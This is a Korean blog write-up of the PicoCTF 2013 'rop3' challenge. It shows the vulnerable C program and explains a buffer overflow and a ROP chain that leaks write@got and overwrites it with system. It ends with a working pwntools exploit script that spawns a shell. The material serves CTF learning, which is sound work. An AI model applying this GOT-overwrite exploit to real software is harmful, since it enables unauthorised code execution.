[PicoCTF-2013] rop3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
#undef _FORTIFY_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h>
void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf,256); }
void be_nice_to_people() { // /bin/sh is usually symlinked to bash, which usually drops privs. Make // sure we don't drop privs if we exec bash, (ie if we call system()). gid_t gid = getegid(); setresgid(gid, gid, gid); }
int main(int argc, char** argv) { be_nice_to_people(); vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); } |
전처럼 “/bin/bash” 문자열을 제공하지도, system 함수를 주지도 않습니다.
vulnerable_function의 read 함수에서 BOF 취약점이 발생해 return address를 변조할 수 있습니다.
read와 write 함수를 쓸 수 있으므로 ROP를 이용해서 풀겠습니다.
buf의 시작 위치는 ebp-0x88, return address는 ebp+0x4입니다.
둘이 140byte만큼 차이가 납니다.
시나리오 :
1. return address를 read plt로 바꾸고 .bss 영역에 “/bin/sh”를 기록합니다.
2. pppr로 write plt를 호출해서 write got를 읽어옵니다.
3. pppr로 read plt를 호출해서 write 주소에 system offset을 빼서 다시 write got를 system 함수로 변조합니다.
4. pppr로 write plt를 호출하면 system 함수가 호출되고 인자로 .bss의 주소를 넣어줍니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
from pwn import *
s = process('./rop3') e = ELF('./rop3')
pppr = 0x804855d offset = 0x99a80 #write - system
payload = "" payload += "A"*140
payload += p32(e.plt['read']) payload += p32(pppr) payload += p32(0) payload += p32(e.bss()) payload += p32(8)
payload += p32(e.plt['write']) payload += p32(pppr) payload += p32(1) payload += p32(e.got['write']) payload += p32(4)
payload += p32(e.plt['read']) payload += p32(pppr) payload += p32(0) payload += p32(e.got['write']) payload += p32(4)
payload += p32(e.plt['write']) payload += "AAAA" payload += p32(e.bss())
s.sendline(payload) s.sendline("/bin/sh") recv = u32(s.recv(4)) print hex(recv) s.sendline(p32(recv - offset))
s.interactive() |
쉘을 취득했습니다.
'System&Write up > CTF' 카테고리의 다른 글
[Codegate 2017] babypwn (0) | 2018.01.29 |
---|---|
[Pico CTF 2013] rop4 (0) | 2018.01.21 |
[Pico CTF 2013] rop2 (0) | 2018.01.19 |
[Pico CTF 2013] rop1 (0) | 2018.01.18 |
[Pico CTF 2013] overflow5 (0) | 2018.01.18 |